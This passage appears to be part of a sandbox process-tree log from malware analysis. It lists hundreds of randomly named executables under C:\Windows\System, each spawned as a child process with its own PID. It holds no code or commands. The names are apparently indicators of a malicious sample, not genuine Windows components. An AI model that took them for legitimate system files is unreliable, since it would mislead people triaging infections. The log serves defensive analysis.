  PID:8752
- C:\Windows\System\MsYSPAB.exe
  C:\Windows\System\MsYSPAB.exe
  2⤵
  PID:8816
- C:\Windows\System\EFEsHkz.exe
  C:\Windows\System\EFEsHkz.exe
  2⤵
  PID:8880
- C:\Windows\System\rEJjvHN.exe
  C:\Windows\System\rEJjvHN.exe
  2⤵
  PID:8896
- C:\Windows\System\UOLzapt.exe
  C:\Windows\System\UOLzapt.exe
  2⤵
  PID:8912
- C:\Windows\System\EqfXgeT.exe
  C:\Windows\System\EqfXgeT.exe
  2⤵
  PID:8928
- C:\Windows\System\EWuhxcv.exe
  C:\Windows\System\EWuhxcv.exe
  2⤵
  PID:8944
- C:\Windows\System\HGNogNm.exe
  C:\Windows\System\HGNogNm.exe
  2⤵
  PID:8972
- C:\Windows\System\OylYtRw.exe
  C:\Windows\System\OylYtRw.exe
  2⤵
  PID:9020
- C:\Windows\System\JAvCgGz.exe
  C:\Windows\System\JAvCgGz.exe
  2⤵
  PID:9052
- C:\Windows\System\xfnhfFv.exe
  C:\Windows\System\xfnhfFv.exe
  2⤵
  PID:9068
- C:\Windows\System\QopTsDl.exe
  C:\Windows\System\QopTsDl.exe
  2⤵
  PID:9092
- C:\Windows\System\YEchWHF.exe
  C:\Windows\System\YEchWHF.exe
  2⤵
  PID:9140
- C:\Windows\System\DqujTjq.exe
  C:\Windows\System\DqujTjq.exe
  2⤵
  PID:9172
- C:\Windows\System\HAZPoRp.exe
  C:\Windows\System\HAZPoRp.exe
  2⤵
  PID:9212
- C:\Windows\System\KJcuLIs.exe
  C:\Windows\System\KJcuLIs.exe
  2⤵
  PID:7288
- C:\Windows\System\kkwMMVB.exe
  C:\Windows\System\kkwMMVB.exe
  2⤵
  PID:8288
- C:\Windows\System\MCMisle.exe
  C:\Windows\System\MCMisle.exe
  2⤵
  PID:8384
- C:\Windows\System\FmIXerV.exe
  C:\Windows\System\FmIXerV.exe
  2⤵
  PID:8420
- C:\Windows\System\rAmsJKn.exe
  C:\Windows\System\rAmsJKn.exe
  2⤵
  PID:8456
- C:\Windows\System\iBllHvt.exe
  C:\Windows\System\iBllHvt.exe
  2⤵
  PID:8632
- C:\Windows\System\knGPYED.exe
  C:\Windows\System\knGPYED.exe
  2⤵
  PID:8664
- C:\Windows\System\ITYpckW.exe
  C:\Windows\System\ITYpckW.exe
  2⤵
  PID:8736
- C:\Windows\System\SimRVfz.exe
  C:\Windows\System\SimRVfz.exe
  2⤵
  PID:8792
- C:\Windows\System\EoofAnj.exe
  C:\Windows\System\EoofAnj.exe
  2⤵
  PID:8780
- C:\Windows\System\yjynRMy.exe
  C:\Windows\System\yjynRMy.exe
  2⤵
  PID:8920
- C:\Windows\System\MNKjuGw.exe
  C:\Windows\System\MNKjuGw.exe
  2⤵
  PID:8992
- C:\Windows\System\TIpAdkC.exe
  C:\Windows\System\TIpAdkC.exe
  2⤵
  PID:8828
- C:\Windows\System\pABosem.exe
  C:\Windows\System\pABosem.exe
  2⤵
  PID:8980
- C:\Windows\System\RxkyBIt.exe
  C:\Windows\System\RxkyBIt.exe
  2⤵
  PID:9028
- C:\Windows\System\aqUuern.exe
  C:\Windows\System\aqUuern.exe
  2⤵
  PID:8940
- C:\Windows\System\QneXiWm.exe
  C:\Windows\System\QneXiWm.exe
  2⤵
  PID:9084
- C:\Windows\System\REfYOGh.exe
  C:\Windows\System\REfYOGh.exe
  2⤵
  PID:9132
- C:\Windows\System\RMJpCYd.exe
  C:\Windows\System\RMJpCYd.exe
  2⤵
  PID:8252
- C:\Windows\System\NtSPJWj.exe
  C:\Windows\System\NtSPJWj.exe
  2⤵
  PID:8352
- C:\Windows\System\TDQmfnK.exe
  C:\Windows\System\TDQmfnK.exe
  2⤵
  PID:8508
- C:\Windows\System\TkzsxjU.exe
  C:\Windows\System\TkzsxjU.exe
  2⤵
  PID:8772
- C:\Windows\System\XyKxxja.exe
  C:\Windows\System\XyKxxja.exe
  2⤵
  PID:8856
- C:\Windows\System\oLPzDFZ.exe
  C:\Windows\System\oLPzDFZ.exe
  2⤵
  PID:8984
- C:\Windows\System\VPePSTS.exe
  C:\Windows\System\VPePSTS.exe
  2⤵
  PID:8952
- C:\Windows\System\YexRwfD.exe
  C:\Windows\System\YexRwfD.exe
  2⤵
  PID:8440
- C:\Windows\System\UsYctTV.exe
  C:\Windows\System\UsYctTV.exe
  2⤵
  PID:8692
- C:\Windows\System\xlKXwEW.exe
  C:\Windows\System\xlKXwEW.exe
  2⤵
  PID:8808
- C:\Windows\System\AfuNkbu.exe
  C:\Windows\System\AfuNkbu.exe
  2⤵
  PID:8996
- C:\Windows\System\opAvuwj.exe
  C:\Windows\System\opAvuwj.exe
  2⤵
  PID:9040
- C:\Windows\System\eONkvDV.exe
  C:\Windows\System\eONkvDV.exe
  2⤵
  PID:9236
- C:\Windows\System\GnZizfH.exe
  C:\Windows\System\GnZizfH.exe
  2⤵
  PID:9268
- C:\Windows\System\ZlcAlIy.exe
  C:\Windows\System\ZlcAlIy.exe
  2⤵
  PID:9340
- C:\Windows\System\mxhqoIl.exe
  C:\Windows\System\mxhqoIl.exe
  2⤵
  PID:9356
- C:\Windows\System\UKkIUuV.exe
  C:\Windows\System\UKkIUuV.exe
  2⤵
  PID:9376
- C:\Windows\System\XUWgpYS.exe
  C:\Windows\System\XUWgpYS.exe
  2⤵
  PID:9404
- C:\Windows\System\aJOGuVJ.exe
  C:\Windows\System\aJOGuVJ.exe
  2⤵
  PID:9444
- C:\Windows\System\bBZRWVo.exe
  C:\Windows\System\bBZRWVo.exe
  2⤵
  PID:9464
- C:\Windows\System\fBEyUAG.exe
  C:\Windows\System\fBEyUAG.exe
  2⤵
  PID:9504
- C:\Windows\System\jAFKAbT.exe
  C:\Windows\System\jAFKAbT.exe
  2⤵
  PID:9544
- C:\Windows\System\vNqHEAO.exe
  C:\Windows\System\vNqHEAO.exe
  2⤵
  PID:9564
- C:\Windows\System\iSRUmvv.exe
  C:\Windows\System\iSRUmvv.exe
  2⤵
  PID:9584
- C:\Windows\System\iVtKUJB.exe
  C:\Windows\System\iVtKUJB.exe
  2⤵
  PID:9612
- C:\Windows\System\nkonJaR.exe
  C:\Windows\System\nkonJaR.exe
  2⤵
  PID:9640
- C:\Windows\System\zDeskxg.exe
  C:\Windows\System\zDeskxg.exe
  2⤵
  PID:9660
- C:\Windows\System\IWCncOF.exe
  C:\Windows\System\IWCncOF.exe
  2⤵
  PID:9708
- C:\Windows\System\MgKtskv.exe
  C:\Windows\System\MgKtskv.exe
  2⤵
  PID:9724
- C:\Windows\System\kbjldMs.exe
  C:\Windows\System\kbjldMs.exe
  2⤵
  PID:9748
- C:\Windows\System\BaKroxV.exe
  C:\Windows\System\BaKroxV.exe
  2⤵
  PID:9768
- C:\Windows\System\lnXCnpb.exe
  C:\Windows\System\lnXCnpb.exe
  2⤵
  PID:9828
- C:\Windows\System\jbHZdCu.exe
  C:\Windows\System\jbHZdCu.exe
  2⤵
  PID:9852
- C:\Windows\System\hHgQQDx.exe
  C:\Windows\System\hHgQQDx.exe
  2⤵
  PID:9868
- C:\Windows\System\uapAjRi.exe
  C:\Windows\System\uapAjRi.exe
  2⤵
  PID:9912
- C:\Windows\System\TXuDJlI.exe
  C:\Windows\System\TXuDJlI.exe
  2⤵
  PID:9932
- C:\Windows\System\WsKwDxT.exe
  C:\Windows\System\WsKwDxT.exe
  2⤵
  PID:9956
- C:\Windows\System\dOXtnJp.exe
  C:\Windows\System\dOXtnJp.exe
  2⤵
  PID:9980
- C:\Windows\System\WadHMIE.exe
  C:\Windows\System\WadHMIE.exe
  2⤵
  PID:10012
- C:\Windows\System\LOTisuB.exe
  C:\Windows\System\LOTisuB.exe
  2⤵
  PID:10052
- C:\Windows\System\iliQCgA.exe
  C:\Windows\System\iliQCgA.exe
  2⤵
  PID:10072
- C:\Windows\System\bEdyEhN.exe
  C:\Windows\System\bEdyEhN.exe
  2⤵
  PID:10092
- C:\Windows\System\NDRYDSy.exe
  C:\Windows\System\NDRYDSy.exe
  2⤵
  PID:10112
- C:\Windows\System\zeqVfnc.exe
  C:\Windows\System\zeqVfnc.exe
  2⤵
  PID:10132
- C:\Windows\System\gXpRXmG.exe
  C:\Windows\System\gXpRXmG.exe
  2⤵
  PID:10172
- C:\Windows\System\tRiQJNe.exe
  C:\Windows\System\tRiQJNe.exe
  2⤵
  PID:10192
- C:\Windows\System\VwlAEYL.exe
  C:\Windows\System\VwlAEYL.exe
  2⤵
  PID:10212
- C:\Windows\System\CHlpqCW.exe
  C:\Windows\System\CHlpqCW.exe
  2⤵
  PID:8560
- C:\Windows\System\WbTQqET.exe
  C:\Windows\System\WbTQqET.exe
  2⤵
  PID:9288
- C:\Windows\System\EoLcexQ.exe
  C:\Windows\System\EoLcexQ.exe
  2⤵
  PID:9352
- C:\Windows\System\nvsqKff.exe
  C:\Windows\System\nvsqKff.exe
  2⤵
  PID:9420
- C:\Windows\System\XdOxRFn.exe
  C:\Windows\System\XdOxRFn.exe
  2⤵
  PID:9460
- C:\Windows\System\VTGyPTp.exe
  C:\Windows\System\VTGyPTp.exe
  2⤵
  PID:9532
- C:\Windows\System\syuUySU.exe
  C:\Windows\System\syuUySU.exe
  2⤵
  PID:9592
- C:\Windows\System\aXYvlWc.exe
  C:\Windows\System\aXYvlWc.exe
  2⤵
  PID:9652
- C:\Windows\System\fZlqhvv.exe
  C:\Windows\System\fZlqhvv.exe
  2⤵
  PID:9732
- C:\Windows\System\Clhqmdn.exe
  C:\Windows\System\Clhqmdn.exe
  2⤵
  PID:9740
- C:\Windows\System\MdzsNjM.exe
  C:\Windows\System\MdzsNjM.exe
  2⤵
  PID:9788
- C:\Windows\System\OggHfzD.exe
  C:\Windows\System\OggHfzD.exe
  2⤵
  PID:9836
- C:\Windows\System\jmUshUm.exe
  C:\Windows\System\jmUshUm.exe
  2⤵
  PID:9900
- C:\Windows\System\JObwUGN.exe
  C:\Windows\System\JObwUGN.exe
  2⤵
  PID:9944
- C:\Windows\System\SNQlmrL.exe
  C:\Windows\System\SNQlmrL.exe
  2⤵
  PID:10008
- C:\Windows\System\FZuUWfN.exe
  C:\Windows\System\FZuUWfN.exe
  2⤵
  PID:10100
- C:\Windows\System\FYvfHYC.exe
  C:\Windows\System\FYvfHYC.exe
  2⤵
  PID:3296
- C:\Windows\System\pdTspqt.exe
  C:\Windows\System\pdTspqt.exe
  2⤵
  PID:10168
- C:\Windows\System\EtPuPIh.exe
  C:\Windows\System\EtPuPIh.exe
  2⤵
  PID:8744
- C:\Windows\System\GYfevdz.exe
  C:\Windows\System\GYfevdz.exe
  2⤵
  PID:9348
- C:\Windows\System\QZexbVo.exe
  C:\Windows\System\QZexbVo.exe
  2⤵
  PID:9636
- C:\Windows\System\yAFmGov.exe
  C:\Windows\System\yAFmGov.exe
  2⤵
  PID:9716
- C:\Windows\System\WejiTTS.exe
  C:\Windows\System\WejiTTS.exe
  2⤵
  PID:9896
- C:\Windows\System\DhkFtVD.exe
  C:\Windows\System\DhkFtVD.exe
  2⤵
  PID:9992
- C:\Windows\System\GlWPZIF.exe
  C:\Windows\System\GlWPZIF.exe
  2⤵
  PID:10128
- C:\Windows\System\gqZTDfj.exe
  C:\Windows\System\gqZTDfj.exe
  2⤵
  PID:10204
- C:\Windows\System\caHNAVY.exe
  C:\Windows\System\caHNAVY.exe
  2⤵
  PID:9316
- C:\Windows\System\TPDEDQo.exe
  C:\Windows\System\TPDEDQo.exe
  2⤵
  PID:10156
- C:\Windows\System\riwWnjd.exe
  C:\Windows\System\riwWnjd.exe
  2⤵
  PID:10272
- C:\Windows\System\WJaUgNs.exe
  C:\Windows\System\WJaUgNs.exe
  2⤵
  PID:10292
- C:\Windows\System\KyvdDRG.exe
  C:\Windows\System\KyvdDRG.exe
  2⤵
  PID:10316
- C:\Windows\System\JpRutdG.exe
  C:\Windows\System\JpRutdG.exe
  2⤵
  PID:10336
- C:\Windows\System\eJbVysn.exe
  C:\Windows\System\eJbVysn.exe
  2⤵
  PID:10376
- C:\Windows\System\vSSpLpW.exe
  C:\Windows\System\vSSpLpW.exe
  2⤵
  PID:10412
- C:\Windows\System\WkILSRc.exe
  C:\Windows\System\WkILSRc.exe
  2⤵
  PID:10432
- C:\Windows\System\TDzrRmM.exe
  C:\Windows\System\TDzrRmM.exe
  2⤵
  PID:10456
- C:\Windows\System\VlGhmUz.exe
  C:\Windows\System\VlGhmUz.exe
  2⤵
  PID:10472
- C:\Windows\System\eMplukc.exe
  C:\Windows\System\eMplukc.exe
  2⤵
  PID:10508
- C:\Windows\System\omKAzSx.exe
  C:\Windows\System\omKAzSx.exe
  2⤵
  PID:10540
- C:\Windows\System\WheTFem.exe
  C:\Windows\System\WheTFem.exe
  2⤵
  PID:10572
- C:\Windows\System\pdkGYLz.exe
  C:\Windows\System\pdkGYLz.exe
  2⤵
  PID:10616
- C:\Windows\System\blxXRls.exe
  C:\Windows\System\blxXRls.exe
  2⤵
  PID:10636
- C:\Windows\System\wYFoHBq.exe
  C:\Windows\System\wYFoHBq.exe
  2⤵
  PID:10676
- C:\Windows\System\kYCRZeL.exe
  C:\Windows\System\kYCRZeL.exe
  2⤵
  PID:10692
- C:\Windows\System\ZPSqFug.exe
  C:\Windows\System\ZPSqFug.exe
  2⤵
  PID:10712
- C:\Windows\System\LQUunJG.exe
  C:\Windows\System\LQUunJG.exe
  2⤵
  PID:10736
- C:\Windows\System\KnIakOe.exe
  C:\Windows\System\KnIakOe.exe
  2⤵
  PID:10776
- C:\Windows\System\TMuBKIR.exe
  C:\Windows\System\TMuBKIR.exe
  2⤵
  PID:10796
- C:\Windows\System\bwErbsa.exe
  C:\Windows\System\bwErbsa.exe
  2⤵
  PID:10832
- C:\Windows\System\TXELGUC.exe
  C:\Windows\System\TXELGUC.exe
  2⤵
  PID:10856
- C:\Windows\System\kxENmFi.exe
  C:\Windows\System\kxENmFi.exe
  2⤵
  PID:10876
- C:\Windows\System\LeKIdPW.exe
  C:\Windows\System\LeKIdPW.exe
  2⤵
  PID:10900
- C:\Windows\System\dJPtRsJ.exe
  C:\Windows\System\dJPtRsJ.exe
  2⤵
  PID:10920
- C:\Windows\System\DeyTLHZ.exe
  C:\Windows\System\DeyTLHZ.exe
  2⤵
  PID:10968
- C:\Windows\System\DtSoTGa.exe
  C:\Windows\System\DtSoTGa.exe
  2⤵
  PID:11008
- C:\Windows\System\IplUThI.exe
  C:\Windows\System\IplUThI.exe
  2⤵
  PID:11040
- C:\Windows\System\dIqXHED.exe
  C:\Windows\System\dIqXHED.exe
  2⤵
  PID:11060
- C:\Windows\System\IEwQLSA.exe
  C:\Windows\System\IEwQLSA.exe
  2⤵
  PID:11088
- C:\Windows\System\sFCZikw.exe
  C:\Windows\System\sFCZikw.exe
  2⤵
  PID:11112
- C:\Windows\System\evCVVBW.exe
  C:\Windows\System\evCVVBW.exe
  2⤵
  PID:11132
- C:\Windows\System\kVVqhIh.exe
  C:\Windows\System\kVVqhIh.exe
  2⤵
  PID:11180
- C:\Windows\System\YMAtwwn.exe
  C:\Windows\System\YMAtwwn.exe
  2⤵
  PID:11200
- C:\Windows\System\nJQdNij.exe
  C:\Windows\System\nJQdNij.exe
  2⤵
  PID:11244
- C:\Windows\System\CneOiug.exe
  C:\Windows\System\CneOiug.exe
  2⤵
  PID:11260
- C:\Windows\System\cwvOfQr.exe
  C:\Windows\System\cwvOfQr.exe
  2⤵
  PID:10244
- C:\Windows\System\GmtZmXQ.exe
  C:\Windows\System\GmtZmXQ.exe
  2⤵
  PID:10308
- C:\Windows\System\GOnpHqJ.exe
  C:\Windows\System\GOnpHqJ.exe
  2⤵
  PID:10356
- C:\Windows\System\MUUyWoK.exe
  C:\Windows\System\MUUyWoK.exe
  2⤵
  PID:10400
- C:\Windows\System\TVzSfuv.exe
  C:\Windows\System\TVzSfuv.exe
  2⤵
  PID:10484
- C:\Windows\System\aqjRHog.exe
  C:\Windows\System\aqjRHog.exe
  2⤵
  PID:10500
- C:\Windows\System\VLxZedi.exe
  C:\Windows\System\VLxZedi.exe
  2⤵
  PID:10612
- C:\Windows\System\ktmqivG.exe
  C:\Windows\System\ktmqivG.exe
  2⤵
  PID:10728
- C:\Windows\System\qTeAVID.exe
  C:\Windows\System\qTeAVID.exe
  2⤵
  PID:10760
- C:\Windows\System\mKGAZfI.exe
  C:\Windows\System\mKGAZfI.exe
  2⤵
  PID:10812
- C:\Windows\System\ymIWZXD.exe
  C:\Windows\System\ymIWZXD.exe
  2⤵
  PID:10868
- C:\Windows\System\pSxJPOA.exe
  C:\Windows\System\pSxJPOA.exe
  2⤵
  PID:10956
- C:\Windows\System\bsKauok.exe
  C:\Windows\System\bsKauok.exe
  2⤵
  PID:11032
- C:\Windows\System\nYbTYCr.exe
  C:\Windows\System\nYbTYCr.exe
  2⤵
  PID:11076
- C:\Windows\System\faGgYcs.exe
  C:\Windows\System\faGgYcs.exe
  2⤵
  PID:11100
- C:\Windows\System\sEieqzx.exe
  C:\Windows\System\sEieqzx.exe
  2⤵
  PID:11192
- C:\Windows\System\lHNBeCL.exe
  C:\Windows\System\lHNBeCL.exe
  2⤵
  PID:11220
- C:\Windows\System\VdzhrMk.exe
  C:\Windows\System\VdzhrMk.exe
  2⤵
  PID:10284
- C:\Windows\System\LWZRlFk.exe
  C:\Windows\System\LWZRlFk.exe
  2⤵
  PID:10444
- C:\Windows\System\DArKHDX.exe
  C:\Windows\System\DArKHDX.exe
  2⤵
  PID:10732
- C:\Windows\System\vCvjFJd.exe
  C:\Windows\System\vCvjFJd.exe
  2⤵
  PID:10828
- C:\Windows\System\QngZwKJ.exe
  C:\Windows\System\QngZwKJ.exe
  2⤵
  PID:11016
- C:\Windows\System\UrhVNYz.exe
  C:\Windows\System\UrhVNYz.exe
  2⤵
  PID:11196
- C:\Windows\System\gHeBGEa.exe
  C:\Windows\System\gHeBGEa.exe
  2⤵
  PID:11232
- C:\Windows\System\EGkvZxy.exe
  C:\Windows\System\EGkvZxy.exe
  2⤵
  PID:10408
- C:\Windows\System\UmjVzPC.exe
  C:\Windows\System\UmjVzPC.exe
  2⤵
  PID:10656
- C:\Windows\System\aYdBMYs.exe
  C:\Windows\System\aYdBMYs.exe
  2⤵
  PID:11048
- C:\Windows\System\zoZiAtT.exe
  C:\Windows\System\zoZiAtT.exe
  2⤵
  PID:10660
- C:\Windows\System\UCkKSrN.exe
  C:\Windows\System\UCkKSrN.exe
  2⤵
  PID:11284
- C:\Windows\System\pJbSZaE.exe
  C:\Windows\System\pJbSZaE.exe
  2⤵
  PID:11312
- C:\Windows\System\nTivTzg.exe
  C:\Windows\System\nTivTzg.exe
  2⤵
  PID:11348
- C:\Windows\System\kkltZsU.exe
  C:\Windows\System\kkltZsU.exe
  2⤵
  PID:11376
- C:\Windows\System\PvGPSTq.exe
  C:\Windows\System\PvGPSTq.exe
  2⤵
  PID:11408
- C:\Windows\System\mEKidRO.exe
  C:\Windows\System\mEKidRO.exe
  2⤵
  PID:11436
- C:\Windows\System\PsVTfkE.exe
  C:\Windows\System\PsVTfkE.exe
  2⤵
  PID:11500
- C:\Windows\System\QbRAKDX.exe
  C:\Windows\System\QbRAKDX.exe
  2⤵
  PID:11516
- C:\Windows\System\mxnTnao.exe
  C:\Windows\System\mxnTnao.exe
  2⤵
  PID:11532
- C:\Windows\System\IAVKQyQ.exe
  C:\Windows\System\IAVKQyQ.exe
  2⤵
  PID:11548
- C:\Windows\System\VFspUAO.exe
  C:\Windows\System\VFspUAO.exe
  2⤵
  PID:11568
- C:\Windows\System\MIhdCiT.exe
  C:\Windows\System\MIhdCiT.exe
  2⤵
  PID:11624
- C:\Windows\System\oXAwRAb.exe
  C:\Windows\System\oXAwRAb.exe
  2⤵
  PID:11656
- C:\Windows\System\BjmPrxK.exe
  C:\Windows\System\BjmPrxK.exe
  2⤵
  PID:11676
- C:\Windows\System\IdRadut.exe
  C:\Windows\System\IdRadut.exe
  2⤵
  PID:11716
- C:\Windows\System\SycAlzF.exe
  C:\Windows\System\SycAlzF.exe
  2⤵
  PID:11732
- C:\Windows\System\dPamTGB.exe
  C:\Windows\System\dPamTGB.exe
  2⤵
  PID:11752
- C:\Windows\System\NvccQMr.exe
  C:\Windows\System\NvccQMr.exe
  2⤵
  PID:11776
- C:\Windows\System\FCSeKol.exe
  C:\Windows\System\FCSeKol.exe
  2⤵
  PID:11816
- C:\Windows\System\ULpjBsu.exe
  C:\Windows\System\ULpjBsu.exe
  2⤵
  PID:11832
- C:\Windows\System\OkjatEk.exe
  C:\Windows\System\OkjatEk.exe
  2⤵
  PID:11856
- C:\Windows\System\EmLYNqx.exe
  C:\Windows\System\EmLYNqx.exe
  2⤵
  PID:11888
- C:\Windows\System\efnbkRg.exe
  C:\Windows\System\efnbkRg.exe
  2⤵
  PID:11920
- C:\Windows\System\rtVQeJW.exe
  C:\Windows\System\rtVQeJW.exe
  2⤵
  PID:11944
- C:\Windows\System\iKxEKJj.exe
  C:\Windows\System\iKxEKJj.exe
  2⤵
  PID:11972
- C:\Windows\System\appWPLo.exe
  C:\Windows\System\appWPLo.exe
  2⤵
  PID:11992
- C:\Windows\System\NpCmjQO.exe
  C:\Windows\System\NpCmjQO.exe
  2⤵
  PID:12044
- C:\Windows\System\IJoukwB.exe
  C:\Windows\System\IJoukwB.exe
  2⤵
  PID:12072
- C:\Windows\System\DIjXXhA.exe
  C:\Windows\System\DIjXXhA.exe
  2⤵
  PID:12096
- C:\Windows\System\DOnsiUd.exe
  C:\Windows\System\DOnsiUd.exe
  2⤵
  PID:12112
- C:\Windows\System\bKgNkko.exe
  C:\Windows\System\bKgNkko.exe
  2⤵
  PID:12156
- C:\Windows\System\gOKkFtG.exe
  C:\Windows\System\gOKkFtG.exe
  2⤵
  PID:12184
- C:\Windows\System\hDiUAcA.exe
  C:\Windows\System\hDiUAcA.exe
  2⤵
  PID:12208
- C:\Windows\System\aCPpugu.exe
  C:\Windows\System\aCPpugu.exe
  2⤵
  PID:12228
- C:\Windows\System\GHgEICr.exe
  C:\Windows\System\GHgEICr.exe
  2⤵
  PID:12260
- C:\Windows\System\LHmuZOr.exe
  C:\Windows\System\LHmuZOr.exe
  2⤵
  PID:11164
- C:\Windows\System\zrTpKCD.exe
  C:\Windows\System\zrTpKCD.exe
  2⤵
  PID:11304
- C:\Windows\System\ZHnUhKl.exe
  C:\Windows\System\ZHnUhKl.exe
  2⤵
  PID:11388
- C:\Windows\System\uJiQxYD.exe
  C:\Windows\System\uJiQxYD.exe
  2⤵
  PID:11428
- C:\Windows\System\aHmbAeR.exe
  C:\Windows\System\aHmbAeR.exe
  2⤵
  PID:11508
- C:\Windows\System\BVXsysV.exe
  C:\Windows\System\BVXsysV.exe
  2⤵
  PID:11588
- C:\Windows\System\xSLCQXQ.exe
  C:\Windows\System\xSLCQXQ.exe
  2⤵
  PID:11632
- C:\Windows\System\LqWWtsn.exe
  C:\Windows\System\LqWWtsn.exe
  2⤵
  PID:11724
- C:\Windows\System\NPjvMfu.exe
  C:\Windows\System\NPjvMfu.exe
  2⤵
  PID:11804
- C:\Windows\System\tAitTMP.exe
  C:\Windows\System\tAitTMP.exe
  2⤵
  PID:11828
- C:\Windows\System\ysIiTBY.exe
  C:\Windows\System\ysIiTBY.exe
  2⤵
  PID:11848
- C:\Windows\System\LespSJz.exe
  C:\Windows\System\LespSJz.exe
  2⤵
  PID:11964
- C:\Windows\System\NyQSeeI.exe
  C:\Windows\System\NyQSeeI.exe
  2⤵
  PID:12056
- C:\Windows\System\CnDcYOz.exe
  C:\Windows\System\CnDcYOz.exe
  2⤵
  PID:12092
- C:\Windows\System\UlpQVEL.exe
  C:\Windows\System\UlpQVEL.exe
  2⤵
  PID:12128
- C:\Windows\System\ACBBZAA.exe
  C:\Windows\System\ACBBZAA.exe
  2⤵
  PID:12192
- C:\Windows\System\aeNZXUf.exe
  C:\Windows\System\aeNZXUf.exe
  2⤵
  PID:12224
- C:\Windows\System\SotWgfv.exe
  C:\Windows\System\SotWgfv.exe
  2⤵
  PID:11276
- C:\Windows\System\yOsiMyk.exe
  C:\Windows\System\yOsiMyk.exe
  2⤵
  PID:11292
- C:\Windows\System\giuqsQV.exe
  C:\Windows\System\giuqsQV.exe
  2⤵
  PID:11512
- C:\Windows\System\MNVZJtL.exe
  C:\Windows\System\MNVZJtL.exe
  2⤵
  PID:11696
- C:\Windows\System\FEpbMPQ.exe
  C:\Windows\System\FEpbMPQ.exe
  2⤵
  PID:5080
- C:\Windows\System\FhrhzvF.exe
  C:\Windows\System\FhrhzvF.exe
  2⤵
  PID:11796
- C:\Windows\System\jiIaRaT.exe
  C:\Windows\System\jiIaRaT.exe
  2⤵
  PID:12000
- C:\Windows\System\oAvdyTK.exe
  C:\Windows\System\oAvdyTK.exe
  2⤵
  PID:12108
- C:\Windows\System\ztQvGbT.exe
  C:\Windows\System\ztQvGbT.exe
  2⤵
  PID:12180
- C:\Windows\System\csrWWTE.exe
  C:\Windows\System\csrWWTE.exe
  2⤵
  PID:11564
- C:\Windows\System\TNOBkOF.exe
  C:\Windows\System\TNOBkOF.exe
  2⤵
  PID:11956
- C:\Windows\System\LgVTwbF.exe
  C:\Windows\System\LgVTwbF.exe
  2⤵
  PID:12220
- C:\Windows\System\vzoCRWj.exe
  C:\Windows\System\vzoCRWj.exe
  2⤵
  PID:11748
- C:\Windows\System\nEgpTVe.exe
  C:\Windows\System\nEgpTVe.exe
  2⤵
  PID:12296
- C:\Windows\System\ZKjgISu.exe
  C:\Windows\System\ZKjgISu.exe
  2⤵
  PID:12320
- C:\Windows\System\mnJSqhf.exe
  C:\Windows\System\mnJSqhf.exe
  2⤵
  PID:12340
- C:\Windows\System\osXUgHI.exe
  C:\Windows\System\osXUgHI.exe
  2⤵
  PID:12372
- C:\Windows\System\aEEJlIH.exe
  C:\Windows\System\aEEJlIH.exe
  2⤵
  PID:12400
- C:\Windows\System\fUSElSR.exe
  C:\Windows\System\fUSElSR.exe
  2⤵
  PID:12424
- C:\Windows\System\SZWbmku.exe
  C:\Windows\System\SZWbmku.exe
  2⤵
  PID:12484
- C:\Windows\System\aaXpAZH.exe
  C:\Windows\System\aaXpAZH.exe
  2⤵
  PID:12504
- C:\Windows\System\wDQfrfN.exe
  C:\Windows\System\wDQfrfN.exe
  2⤵
  PID:12552
- C:\Windows\System\HTThdbc.exe
  C:\Windows\System\HTThdbc.exe
  2⤵
  PID:12588
- C:\Windows\System\IAUYsZt.exe
  C:\Windows\System\IAUYsZt.exe
  2⤵
  PID:12604
- C:\Windows\System\QvfclIb.exe
  C:\Windows\System\QvfclIb.exe
  2⤵
  PID:12628
- C:\Windows\System\cGlipNY.exe
  C:\Windows\System\cGlipNY.exe
  2⤵
  PID:12656
- C:\Windows\System\jpxmYpC.exe
  C:\Windows\System\jpxmYpC.exe
  2⤵
  PID:12708
- C:\Windows\System\YkTrfFX.exe
  C:\Windows\System\YkTrfFX.exe
  2⤵
  PID:12748
- C:\Windows\System\vkibprP.exe
  C:\Windows\System\vkibprP.exe
  2⤵
  PID:12780
- C:\Windows\System\xyxTNeG.exe
  C:\Windows\System\xyxTNeG.exe
  2⤵
  PID:12804
- C:\Windows\System\VyOlKvP.exe
  C:\Windows\System\VyOlKvP.exe
  2⤵
  PID:12832
- C:\Windows\System\vhQjsrE.exe
  C:\Windows\System\vhQjsrE.exe
  2⤵
  PID:12852
- C:\Windows\System\NKHdSgG.exe
  C:\Windows\System\NKHdSgG.exe
  2⤵
  PID:12872
- C:\Windows\System\pbPwbJU.exe
  C:\Windows\System\pbPwbJU.exe
  2⤵
  PID:12904
- C:\Windows\System\yJJnsHs.exe
  C:\Windows\System\yJJnsHs.exe
  2⤵
  PID:12928
- C:\Windows\System\tZiytvC.exe
  C:\Windows\System\tZiytvC.exe
  2⤵
  PID:12960
- C:\Windows\System\RXmQItv.exe
  C:\Windows\System\RXmQItv.exe
  2⤵
  PID:12992
- C:\Windows\System\QHEvMVt.exe
  C:\Windows\System\QHEvMVt.exe
  2⤵
  PID:13024
- C:\Windows\System\YfwrheC.exe
  C:\Windows\System\YfwrheC.exe
  2⤵
  PID:13048
- C:\Windows\System\zpzpdpV.exe
  C:\Windows\System\zpzpdpV.exe
  2⤵
  PID:13068
- C:\Windows\System\mWynufE.exe
  C:\Windows\System\mWynufE.exe
  2⤵
  PID:13096
- C:\Windows\System\SxLztqQ.exe
  C:\Windows\System\SxLztqQ.exe
  2⤵
  PID:13128
- C:\Windows\System\BgcxTGW.exe
  C:\Windows\System\BgcxTGW.exe
  2⤵
  PID:13148
- C:\Windows\System\ryWvUEK.exe
  C:\Windows\System\ryWvUEK.exe
  2⤵
  PID:13184
- C:\Windows\System\wuocHpl.exe
  C:\Windows\System\wuocHpl.exe
  2⤵
  PID:13224
- C:\Windows\System\LzRKwaf.exe
  C:\Windows\System\LzRKwaf.exe
  2⤵
  PID:13240
- C:\Windows\System\CvOzRnr.exe
  C:\Windows\System\CvOzRnr.exe
  2⤵
  PID:13260
- C:\Windows\System\SKOLJYn.exe
  C:\Windows\System\SKOLJYn.exe
  2⤵
  PID:13292
- C:\Windows\System\OBhQAwz.exe
  C:\Windows\System\OBhQAwz.exe
  2⤵
  PID:11908
- C:\Windows\System\eHkfvql.exe
  C:\Windows\System\eHkfvql.exe
  2⤵
  PID:12332
- C:\Windows\System\hTAbntb.exe
  C:\Windows\System\hTAbntb.exe
  2⤵
  PID:12308
- C:\Windows\System\tgZOOnH.exe
  C:\Windows\System\tgZOOnH.exe
  2⤵
  PID:12464
- C:\Windows\System\CmjjxZh.exe
  C:\Windows\System\CmjjxZh.exe
  2⤵
  PID:12500
- C:\Windows\System\qhygdZf.exe
  C:\Windows\System\qhygdZf.exe
  2⤵
